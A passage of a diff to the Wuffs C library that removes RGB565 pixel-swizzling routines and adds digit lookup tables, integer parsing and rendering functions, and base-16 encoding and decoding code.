0x00, 0x00, // 0x90 ..= 0x97. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++static const uint8_t wuffs_base__parse_number__hexadecimal_digits[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. ++ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. ++ 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x40 ..= 0x47. 'A'-'F'. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. ++ 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x60 ..= 0x67. 'a'-'f'. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. + +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. + +- s += 1 * 8; +- d += 1 * 2; +- n -= 1; +- } ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +- return len; +-} ++static const uint8_t wuffs_private_impl__encode_base16[16] = { ++ 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // 0x00 ..= 0x07. ++ 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, // 0x08 ..= 0x0F. ++}; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__result_i64 // ++wuffs_base__parse_number_i64(wuffs_base__slice_u8 s, uint32_t options) { ++ uint8_t* p = s.ptr; ++ uint8_t* q = s.ptr + s.len; + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ } + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ bool negative = false; ++ if (p >= q) { ++ goto fail_bad_argument; ++ } else if (*p == '-') { ++ p++; ++ negative = true; ++ } else if (*p == '+') { ++ p++; + } + +- return len; +-} ++ do { ++ wuffs_base__result_u64 r = wuffs_base__parse_number_u64( ++ wuffs_base__make_slice_u8(p, (size_t)(q - p)), options); ++ if (r.status.repr != NULL) { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = r.status.repr; ++ ret.value = 0; ++ return ret; ++ } else if (negative) { ++ if (r.value < 0x8000000000000000) { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = NULL; ++ ret.value = -(int64_t)(r.value); ++ return ret; ++ } else if (r.value == 0x8000000000000000) { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = NULL; ++ ret.value = INT64_MIN; ++ return ret; ++ } ++ goto fail_out_of_bounds; ++ } else if (r.value > 0x7FFFFFFFFFFFFFFF) { ++ goto fail_out_of_bounds; ++ } else { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = NULL; ++ ret.value = +(int64_t)(r.value); ++ return ret; ++ } ++ } while (0); + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++fail_bad_argument: ++ do { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = wuffs_base__error__bad_argument; ++ ret.value = 0; ++ return ret; ++ } while (0); + +- // TODO: unroll. ++fail_out_of_bounds: ++ do { ++ wuffs_base__result_i64 ret; ++ ret.status.repr = wuffs_base__error__out_of_bounds; ++ ret.value = 0; ++ return ret; ++ } while (0); ++} + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sr = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sb = 0x101 * ((uint32_t)s[0]); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__result_u64 // ++wuffs_base__parse_number_u64(wuffs_base__slice_u8 s, uint32_t options) { ++ uint8_t* p = s.ptr; ++ uint8_t* q = s.ptr + s.len; + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; +- +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; +- +- // Composite src (premul) over dst (premul). +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); +- +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); +- +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (; (p < q) && (*p == '_'); p++) { ++ } + } + +- return len; +-} ++ if (p >= q) { ++ goto fail_bad_argument; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgb(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ } else if (*p == '0') { ++ p++; ++ if (p >= q) { ++ goto ok_zero; ++ } ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ if (*p == '_') { ++ p++; ++ for (; p < q; p++) { ++ if (*p != '_') { ++ if (options & ++ WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { ++ goto decimal; ++ } ++ goto fail_bad_argument; ++ } ++ } ++ goto ok_zero; ++ } ++ } + +- // TODO: unroll. ++ if ((*p == 'x') || (*p == 'X')) { ++ p++; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ } ++ if (p < q) { ++ goto hexadecimal; ++ } + +- while (n >= 1) { +- uint32_t r5 = s[0] >> 3; +- uint32_t g6 = s[1] >> 2; +- uint32_t b5 = s[2] >> 3; +- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ } else if ((*p == 'd') || (*p == 'D')) { ++ p++; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ } ++ if (p < q) { ++ goto decimal; ++ } ++ } + +- s += 1 * 3; +- d += 1 * 2; +- n -= 1; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { ++ goto decimal; ++ } ++ goto fail_bad_argument; + } + +- return len; +-} ++decimal: ++ do { ++ uint64_t v = wuffs_base__parse_number__decimal_digits[*p++]; ++ if (v == 0) { ++ goto fail_bad_argument; ++ } ++ v &= 0x0F; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // UINT64_MAX is 18446744073709551615, which is ((10 * max10) + max1). ++ const uint64_t max10 = 1844674407370955161u; ++ const uint8_t max1 = 5; + +- // TODO: unroll. ++ for (; p < q; p++) { ++ if ((*p == '_') && ++ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ continue; ++ } ++ uint8_t digit = wuffs_base__parse_number__decimal_digits[*p]; ++ if (digit == 0) { ++ goto fail_bad_argument; ++ } ++ digit &= 0x0F; ++ if ((v > max10) || ((v == max10) && (digit > max1))) { ++ goto fail_out_of_bounds; ++ } ++ v = (10 * v) + ((uint64_t)(digit)); ++ } + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))))); ++ wuffs_base__result_u64 ret; ++ ret.status.repr = NULL; ++ ret.value = v; ++ return ret; ++ } while (0); + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; +- } ++hexadecimal: ++ do { ++ uint64_t v = wuffs_base__parse_number__hexadecimal_digits[*p++]; ++ if (v == 0) { ++ goto fail_bad_argument; ++ } ++ v &= 0x0F; + +- return len; +-} ++ for (; p < q; p++) { ++ if ((*p == '_') && ++ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ continue; ++ } ++ uint8_t digit = wuffs_base__parse_number__hexadecimal_digits[*p]; ++ if (digit == 0) { ++ goto fail_bad_argument; ++ } ++ digit &= 0x0F; ++ if ((v >> 60) != 0) { ++ goto fail_out_of_bounds; ++ } ++ v = (v << 4) | ((uint64_t)(digit)); ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ wuffs_base__result_u64 ret; ++ ret.status.repr = NULL; ++ ret.value = v; ++ return ret; ++ } while (0); + +- // TODO: unroll. ++ok_zero: ++ do { ++ wuffs_base__result_u64 ret; ++ ret.status.repr = NULL; ++ ret.value = 0; ++ return ret; ++ } while (0); + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sb = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sr = 0x101 * ((uint32_t)s[0]); ++fail_bad_argument: ++ do { ++ wuffs_base__result_u64 ret; ++ ret.status.repr = wuffs_base__error__bad_argument; ++ ret.value = 0; ++ return ret; ++ } while (0); + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; ++fail_out_of_bounds: ++ do { ++ wuffs_base__result_u64 ret; ++ ret.status.repr = wuffs_base__error__out_of_bounds; ++ ret.value = 0; ++ return ret; ++ } while (0); ++} + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++// -------- + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++// wuffs_base__render_number__first_hundred contains the decimal encodings of ++// the first one hundred numbers [0 ..= 99]. ++static const uint8_t wuffs_base__render_number__first_hundred[200] = { ++ '0', '0', '0', '1', '0', '2', '0', '3', '0', '4', // ++ '0', '5', '0', '6', '0', '7', '0', '8', '0', '9', // ++ '1', '0', '1', '1', '1', '2', '1', '3', '1', '4', // ++ '1', '5', '1', '6', '1', '7', '1', '8', '1', '9', // ++ '2', '0', '2', '1', '2', '2', '2', '3', '2', '4', // ++ '2', '5', '2', '6', '2', '7', '2', '8', '2', '9', // ++ '3', '0', '3', '1', '3', '2', '3', '3', '3', '4', // ++ '3', '5', '3', '6', '3', '7', '3', '8', '3', '9', // ++ '4', '0', '4', '1', '4', '2', '4', '3', '4', '4', // ++ '4', '5', '4', '6', '4', '7', '4', '8', '4', '9', // ++ '5', '0', '5', '1', '5', '2', '5', '3', '5', '4', // ++ '5', '5', '5', '6', '5', '7', '5', '8', '5', '9', // ++ '6', '0', '6', '1', '6', '2', '6', '3', '6', '4', // ++ '6', '5', '6', '6', '6', '7', '6', '8', '6', '9', // ++ '7', '0', '7', '1', '7', '2', '7', '3', '7', '4', // ++ '7', '5', '7', '6', '7', '7', '7', '8', '7', '9', // ++ '8', '0', '8', '1', '8', '2', '8', '3', '8', '4', // ++ '8', '5', '8', '6', '8', '7', '8', '8', '8', '9', // ++ '9', '0', '9', '1', '9', '2', '9', '3', '9', '4', // ++ '9', '5', '9', '6', '9', '7', '9', '8', '9', '9', // ++}; + +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++static size_t // ++wuffs_private_impl__render_number_u64(wuffs_base__slice_u8 dst, ++ uint64_t x, ++ uint32_t options, ++ bool neg) { ++ uint8_t buf[WUFFS_BASE__U64__BYTE_LENGTH__MAX_INCL]; ++ uint8_t* ptr = &buf[0] + sizeof(buf); + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ while (x >= 100) { ++ size_t index = ((size_t)((x % 100) * 2)); ++ x /= 100; ++ uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; ++ uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; ++ ptr -= 2; ++ ptr[0] = s0; ++ ptr[1] = s1; + } + +- return len; +-} +- +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ if (x < 10) { ++ ptr -= 1; ++ ptr[0] = (uint8_t)('0' + x); ++ } else { ++ size_t index = ((size_t)(x * 2)); ++ uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; ++ uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; ++ ptr -= 2; ++ ptr[0] = s0; ++ ptr[1] = s1; ++ } + +- // TODO: unroll. ++ if (neg) { ++ ptr -= 1; ++ ptr[0] = '-'; ++ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { ++ ptr -= 1; ++ ptr[0] = '+'; ++ } + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); ++ size_t n = sizeof(buf) - ((size_t)(ptr - &buf[0])); ++ if (n > dst.len) { ++ return 0; ++ } ++ memcpy(dst.ptr + ((options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) ++ ? (dst.len - n) ++ : 0), ++ ptr, n); ++ return n; ++} + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__render_number_i64(wuffs_base__slice_u8 dst, ++ int64_t x, ++ uint32_t options) { ++ uint64_t u = (uint64_t)x; ++ bool neg = x < 0; ++ if (neg) { ++ u = 1 + ~u; + } ++ return wuffs_private_impl__render_number_u64(dst, u, options, neg); ++} + +- return len; ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__render_number_u64(wuffs_base__slice_u8 dst, ++ uint64_t x, ++ uint32_t options) { ++ return wuffs_private_impl__render_number_u64(dst, x, options, false); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// ---------------- Base-16 + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_16__decode2(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ wuffs_base__transform__output o; ++ size_t src_len2 = src.len / 2; ++ size_t len; ++ if (dst.len < src_len2) { ++ len = dst.len; ++ o.status.repr = wuffs_base__suspension__short_write; ++ } else { ++ len = src_len2; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ } else if (src.len & 1) { ++ o.status.repr = wuffs_base__error__bad_data; ++ } else { ++ o.status.repr = NULL; ++ } ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sb = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sr = 0x101 * ((uint32_t)s[0]); ++ uint8_t* d = dst.ptr; ++ uint8_t* s = src.ptr; ++ size_t n = len; + +- // Convert from 565 color to 16-bit color. +- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); +- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); +- uint32_t dr = (0x8421 * old_r5) >> 4; +- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); +- uint32_t dg = (0x1041 * old_g6) >> 2; +- uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); +- uint32_t db = (0x8421 * old_b5) >> 4; ++ while (n--) { ++ *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[0]] << 4) | ++ (wuffs_base__parse_number__hexadecimal_digits[s[1]] & 0x0F)); ++ d += 1; ++ s += 2; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ o.num_dst = len; ++ o.num_src = len * 2; ++ return o; ++} + +- // Composite src (premul) over dst (premul). +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_16__decode4(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ wuffs_base__transform__output o; ++ size_t src_len4 = src.len / 4; ++ size_t len = dst.len < src_len4 ? dst.len : src_len4; ++ if (dst.len < src_len4) { ++ len = dst.len; ++ o.status.repr = wuffs_base__suspension__short_write; ++ } else { ++ len = src_len4; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ } else if (src.len & 1) { ++ o.status.repr = wuffs_base__error__bad_data; ++ } else { ++ o.status.repr = NULL; ++ } ++ } + +- // Convert from 16-bit color to 565 color and combine the components. +- uint32_t new_r5 = 0x1F & (dr >> 11); +- uint32_t new_g6 = 0x3F & (dg >> 10); +- uint32_t new_b5 = 0x1F & (db >> 11); +- uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ uint8_t* d = dst.ptr; ++ uint8_t* s = src.ptr; ++ size_t n = len; + +- s += 1 * 4; +- d += 1 * 2; +- n -= 1; ++ while (n--) { ++ *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[2]] << 4) | ++ (wuffs_base__parse_number__hexadecimal_digits[s[3]] & 0x0F)); ++ d += 1; ++ s += 4; + } + +- return len; ++ o.num_dst = len; ++ o.num_src = len * 4; ++ return o; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__y(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; +- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_16__encode2(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ wuffs_base__transform__output o; ++ size_t dst_len2 = dst.len / 2; ++ size_t len; ++ if (dst_len2 < src.len) { ++ len = dst_len2; ++ o.status.repr = wuffs_base__suspension__short_write; ++ } else { ++ len = src.len; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ } else { ++ o.status.repr = NULL; ++ } ++ } + +- while (n >= 1) { +- uint32_t y5 = s[0] >> 3; +- uint32_t y6 = s[0] >> 2; +- uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); ++ uint8_t* d = dst.ptr; ++ uint8_t* s = src.ptr; ++ size_t n = len; + +- s += 1 * 1; +- d += 1 * 2; +- n -= 1; ++ while (n--) { ++ uint8_t c = *s; ++ d[0] = wuffs_private_impl__encode_base16[c >> 4]; ++ d[1] = wuffs_private_impl__encode_base16[c & 0x0F]; ++ d 